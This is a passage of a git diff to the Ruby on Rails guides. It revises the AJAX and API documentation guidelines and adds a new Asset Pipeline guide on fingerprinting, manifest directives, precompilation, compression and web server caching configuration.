"Delete Image", { :action => "delete", :id => @image.id }, + :confirm => "Are you sure?", :method => :delete +</ruby> + +will produce + +<html> +<form method="post" action="/images/delete/1" class="button_to"> + <div> + <input type="hidden" name="_method" value="delete" /> + <input data-confirm='Are you sure?' value="Delete" type="submit" /> + </div> +</form> +</html> + +<ruby> +button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?', + :method => "delete", :remote => true, :disable_with => 'loading...') +</ruby> + +will produce + +<html> +<form class='button_to' method='post' action='http://www.example.com' data-remote='true'> + <div> + <input name='_method' value='delete' type='hidden' /> + <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' /> + </div> +</form> +</html> + +You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application. + +<shell> +rails new app_name -j prototype +</shell> + You are ready to add some AJAX love to your Rails app! h4. The Quintessential AJAX Rails Helper: link_to_remote @@ -59,7 +119,6 @@ link_to_remote "Add to cart", </ruby> * The very first parameter, a string, is the text of the link which appears on the page. - * The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff: ** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too. ** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation: @@ -72,7 +131,7 @@ link_to_remote "Add to cart", If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element. -** *position* By default (i.e. when not specifying this option, like in the examples before) the repsonse is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities: +** *position* By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities: *** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element. *** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element. *** +:top+ Inserts the text into the target element, before it's original content. If the target element was empty, this is equivalent with not specifying +:position+ at all. @@ -109,7 +168,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet link_to_remote "Update record", :url => record_url(record), :method => :put, - :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" + :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')" </ruby> This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). @@ -129,6 +188,7 @@ link_to_remote "Add new item", 404 => "alert('Item not found!')" </ruby> Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: + <ruby> link_to_remote "Add new item", :url => items_url, @@ -138,6 +198,7 @@ link_to_remote "Add new item", :success => "display_item_added(request)", :failure => "display_error(request)" </ruby> + ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser @@ -193,7 +254,6 @@ end What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior). - h3. Testing JavaScript JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it: diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile index e22ffa4c04..99eb668513 100644 --- a/railties/guides/source/api_documentation_guidelines.textile +++ b/railties/guides/source/api_documentation_guidelines.textile @@ -33,12 +33,16 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". +h3. English + +Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences. + h3. Example Code Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas. -Use two spaces to indent chunks of code.—that is two spaces with respect to the left margin; the examples -themselves should use "Rails code conventions":http://rails.lighthouseapp.com/projects/8994/source-style. +Use two spaces to indent chunks of code--that is two spaces with respect to the left margin; the examples +themselves should use "Rails coding conventions":contributing_to_ruby_on_rails.html#follow-the-coding-conventions. Short docs do not need an explicit "Examples" label to introduce snippets, they just follow paragraphs: @@ -74,14 +78,14 @@ The result of expressions follow them and are introduced by "# => ", vertically If a line is too long, the comment may be placed on the next line: <ruby> - # label(:post, :title) - # # => <label for="post_title">Title</label> - # - # label(:post, :title, "A short title") - # # => <label for="post_title">A short title</label> - # - # label(:post, :title, "A short title", :class => "title_label") - # # => <label for="post_title" class="title_label">A short title</label> +# label(:post, :title) +# # => <label for="post_title">Title</label> +# +# label(:post, :title, "A short title") +# # => <label for="post_title">A short title</label> +# +# label(:post, :title, "A short title", :class => "title_label") +# # => <label for="post_title" class="title_label">A short title</label> </ruby> Avoid using any printing methods like +puts+ or +p+ for that purpose. @@ -102,7 +106,6 @@ routes.rb # NO RAILS_ROOT/config/routes.rb # NO </plain> - h3. Fonts h4. Fixed-width Font @@ -143,7 +146,7 @@ h3. Description Lists In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): <ruby> -# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. +# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>. </ruby> The description starts in upper case and ends with a full stop—it's standard English. @@ -180,8 +183,3 @@ self.class_eval %{ end } </ruby> - -h3. Changelog - -* July 17, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn - diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile new file mode 100644 index 0000000000..6ff5e87b6d --- /dev/null +++ b/railties/guides/source/asset_pipeline.textile @@ -0,0 +1,661 @@ +h2. Asset Pipeline + +This guide covers the asset pipeline introduced in Rails 3.1. +By referring to this guide you will be able to: + +* Understand what the asset pipeline is and what it does +* Properly organize your application assets +* Understand the benefits of the asset pipeline +* Adding a pre-processor to the pipeline +* Package assets with a gem + +endprologue. + +h3. What is the Asset Pipeline? + +The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. + +Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default. + +By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. + +In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition: + +<ruby> +config.assets.enabled = false +</ruby> + +You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option. + +<plain> +rails new appname --skip-sprockets +</plain> + +It is recommended that you use the defaults for all new apps. + + +h4. Main Features + +The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. + +While Rails already has a feature to concatenate these types of assets by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. + +The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. + +The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. + +The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both. + +h4. What is Fingerprinting and Why Should I Care? + +Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file. + +When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_. + +The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming: + +<plain> +global-908e25f4bf641868d8683022a5b62f54.css +</plain> + +This is the strategy adopted by the Rails asset pipeline. + +Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: + +<plain> +/stylesheets/global.css?1309495796 +</plain> + +This has several disadvantages: + +<ol> + <li> + <strong>Not all caches will cache content with a query string</strong>.<br> + "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. + </li> + <li> + <strong>The file name can change between nodes in multi-server environments.</strong><br> + The query string in Rails is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request. + </li> +</ol> + +The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. + +Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content. + +Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. + +More reading: + +* "Optimize caching":http://code.google.com/speed/page-speed/docs/caching.html +* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/ + + +h3. How to Use the Asset Pipeline + +In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. + +This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served. + +In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server. + +When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. + +For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. + +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + +h4. Asset Organization + +Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. + ++app/assets+ is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets. + ++lib/assets+ is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications. + ++vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins. + +All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. + +You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example: + +<ruby> +config.assets.paths << Rails.root.join("app", "assets", "flash") +</ruby> + +h4. Coding Links to Assets + +Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. + +<erb> +<%= stylesheet_link_tag "application" %> +<%= javascript_include_tag "application" %> +</erb> + +In regular views you can access images in the +assets/images+ directory like this: + +<erb> +<%= image_tag "rails.png" %> +</erb> + +Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver. + +Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide. + +Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines. + +Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: + +<erb> +<%= image_tag "icons/rails.png" %> +</erb> + +h5. CSS and ERB + +If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules: + +<plain> +.class { background-image: url(<%= asset_path 'image.png' %>) } +</plain> + +This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. + +If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. + +<plain> +#logo { background: url(<%= asset_data_uri 'logo.png' %>) } +</plain> + +This inserts a correctly-formatted data URI into the CSS source. + +Note that the closing tag cannot be of the style +-%>+. + +h5. CSS and Sass + +When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. + +* +image-url("rails.png")+ becomes +url(/assets/rails.png)+ +* +image-path("rails.png")+ becomes +"/assets/rails.png"+. + +The more generic form can also be used but the asset path and class must both be specified: + +* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+ +* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+ + +h5. JavaScript/CoffeeScript and ERB + +If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code: + +<erb> +$('#logo').attr({ + src: "<%= asset_path('logo.png') %>" +}); +</erb> + +This writes the path to the particular asset being referenced. + +Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+): + +<plain> +$('#logo').attr src: "<%= asset_path('logo.png') %>" +</plain> + +h4. Manifest Files and Directives + +Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make. + +For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines: + +<plain> +// ... +//= require jquery +//= require jquery_ujs +//= require_tree . +</plain> + +In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file. + +NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree. + +The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting). + +Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output. + +There's also a default +app/assets/stylesheets/application.css+ file which contains these lines: + +<plain> +/* ... +*= require_self +*= require_tree . +*/ +</plain> + +The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. + +In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected. + +NOTE. If you want to use multiple Sass files, use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of the Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. + +You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application. + +The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified: + +<plain> +/* ... +*= require reset +*= require layout +*= require chrome +*/ +</plain> + + +h4. Preprocessing + +The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file. + +When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. + +Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript. + +Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. + +h3. In Development + +In development mode assets are served as separate files in the order they are specified in the manifest file. + +This manifest +app/assets/javascripts/application.js+: + +<plain> +//= require core +//= require projects +//= require tickets +</plain> + +would generate this HTML: + +<html> +<script src="/assets/core.js?body=1" type="text/javascript"></script> +<script src="/assets/projects.js?body=1" type="text/javascript"></script> +<script src="/assets/tickets.js?body=1" type="text/javascript"></script> +</html> + +The +body+ param is required by Sprockets. + +h4. Turning Debugging off + +You can turn off debug mode by updating +config/environments/development.rb+ to include: + +<ruby> +config.assets.debug = false +</ruby> + +When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: + +<html> +<script src="/assets/application.js" type="text/javascript"></script> +</html> + +Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response. + +If any of the files in the manifest have changed between requests, the server responds with a new compiled file. + +Debug mode can also be enabled in the Rails helper methods: + +<erb> +<%= stylesheet_link_tag "application", :debug => true %> +<%= javascript_include_tag "application", :debug => true %> +</erb> + +The +:debug+ option is redundant if debug mode is on. + +You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. + +h3. In Production + +In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server. + +During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. + +For example this: + +<erb> +<%= javascript_include_tag "application" %> +<%= stylesheet_link_tag "application" %> +</erb> + +generates something like this: + +<html> +<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" /> +</html> + +The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else). + +NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. + +h4. Precompiling Assets + +Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. + +Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory. + +You must use this task either during deployment or locally if you do not have write access to your production filesystem. + +The rake task is: + +<plain> +bundle exec rake assets:precompile +</plain> + +For faster asset precompiles, you can partially load your application by setting ++config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates +cannot see application objects or methods. *Heroku requires this to be false.* + +WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to +test +rake assets:precompile+ locally before deploying. It may expose bugs where +your assets reference application objects or methods, since those are still +in scope in development mode regardless of the value of this flag. + +Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+: + +<erb> +load 'deploy/assets' +</erb> + +This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task. + +It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. + +NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). + +The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+: + +<ruby> +[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ] +</ruby> + +If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array: + +<erb> +config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] +</erb> + +The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like: + +<plain> +--- +rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png +jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js +jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js +application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js +application.css: application-8af74128f904600e41a6e39241464e03.css +</plain> + +The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default). + +This can be changed with the +config.assets.manifest+ option. A fully specified path is required: + +<erb> +config.assets.manifest = '/path/to/some/other/location' +</erb> + +NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s). + +h5. Server Configuration + +Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. + +For Apache: + +<plain> +<LocationMatch "^/assets/.*$"> + # Some browsers still send conditional-GET requests if there's a + # Last-Modified header or an ETag header even if they haven't + # reached the expiry date sent in the Expires header. + Header unset Last-Modified + Header unset ETag + FileETag None + # RFC says only cache for 1 year + ExpiresActive On + ExpiresDefault "access plus 1 year" +</LocationMatch> +</plain> + +For nginx: + +<plain> +location ~ ^/assets/ { + expires 1y; + add_header Cache-Control public; + + # Some browsers still send conditional-GET requests if there's a + # Last-Modified header or an ETag header even if they haven't + # reached the expiry date sent in the Expires header. + add_header Last-Modified ""; + add_header ETag ""; + break; +} +</plain> + +When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. + +Nginx is able to do this automatically enabling +gzip_static+: + +<plain> +location ~ ^/(assets)/ { + root /path/to/public; + gzip_static on; # to serve pre-gzipped version + expires max; + add_header Cache-Control public; +} +</plain> + +This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation: + +<plain> +./configure --with-http_gzip_static_module +</plain> + +If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. + +Unfortunately, a robust configuration for Apache is possible but tricky, please Google around. + +h4. Live Compilation + +In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. + +To enable this option set: + +<erb> +config.assets.compile = true +</erb> + +On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. + +Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. + +This mode uses more memory, performs poorer than the default and is not recommended. + +When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: + +<plain> +group :production do + gem 'therubyracer' +end +</plain> + +h3. Customizing the Pipeline + +h4. CSS Compression + +There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification. + +The following line enables YUI compression, and requires the +yui-compressor+ gem. + +<erb> +config.assets.css_compressor = :yui +</erb> + +The +config.assets.compress+ must be set to +true+ to enable CSS compression. + +h4. JavaScript Compression + +Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. + +The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. + +The following line invokes +uglifier+ for JavaScript compression. + +<erb> +config.assets.js_compressor = :uglifier +</erb> + +The +config.assets.compress+ must be set to +true+ to enable JavaScript compression + +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + +h4. Using Your Own Compressor + +The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. + +<erb> +class Transformer + def compress(string) + do_something_returning_a_string(string) + end +end +</erb> + +To enable this, pass a +new+ Object to the config option in +application.rb+: + +<erb> +config.assets.css_compressor = Transformer.new +</erb> + + +h4. Changing the _assets_ Path + +The public path that Sprockets uses by default is +/assets+. + +This can be changed to something else: + +<erb> +config.assets.prefix = "/some_other_path" +</erb> + +This is a handy option if you have any existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource. + +h4. X-Sendfile Headers + +The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. + +Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>. + +<erb> +# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache +# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx +</erb> + +WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior. + +h3. How Caching Works + +Sprockets uses the default Rails cache store to cache assets in development and production. + +TODO: Add more about changing the default store. + +h3. Adding Assets to Your Gems + +Assets can also come from external sources in the form of gems. + +A good example of this is the +jquery-rails+ gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from +Rails::Engine+. By doing this, Rails is informed that the directory for this gem may contain assets and the +app/assets+, +lib/assets+ and +vendor/assets+ directories of this engine are added to the search path of Sprockets. + +h3. Making Your Library or Gem a Pre-Processor + +TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them. + +h3. Upgrading from Old Versions of Rails + +There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types. + +The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. + +In +application.rb+: + +<erb> +# Enable the asset pipeline +config.assets.enabled = true + +# Version of your assets, change this if you want to expire all your assets +config.assets.version = '1.0' + +# Change the path that assets are served from +# config.assets.prefix = "/assets" +</erb> + +In +development.rb+: + +<erb> +# Do not compress assets +config.assets.compress = false + +# Expands the lines which load the assets +config.assets.debug = true +</erb> + +And in +production.rb+: + +<erb> +# Compress JavaScripts and CSS +config.assets.compress = true + +# Choose the compressors to use +# config.assets.js_compressor = :uglifier +# config.assets.css_compressor = :yui + +# Don't fallback to assets pipeline if a precompiled asset is missed +config.assets.compile = false + +# Generate digests for assets URLs. +config.assets.digest = true + +# Defaults to Rails.root.join("public/assets") +# config.assets.manifest = YOUR_PATH + +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) +# config.assets.precompile += %w( search.js ) +</erb> + +There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. + +The following should also be added to +Gemfile+: + +<plain> +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', "~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end +</plain> + +If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement. + +<ruby> +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end +</ruby> + +Instead of the old Rails 3.0 one + +<ruby> +# If you have a Gemfile, require the gems listed there, including any gems +# you've limited to :test, 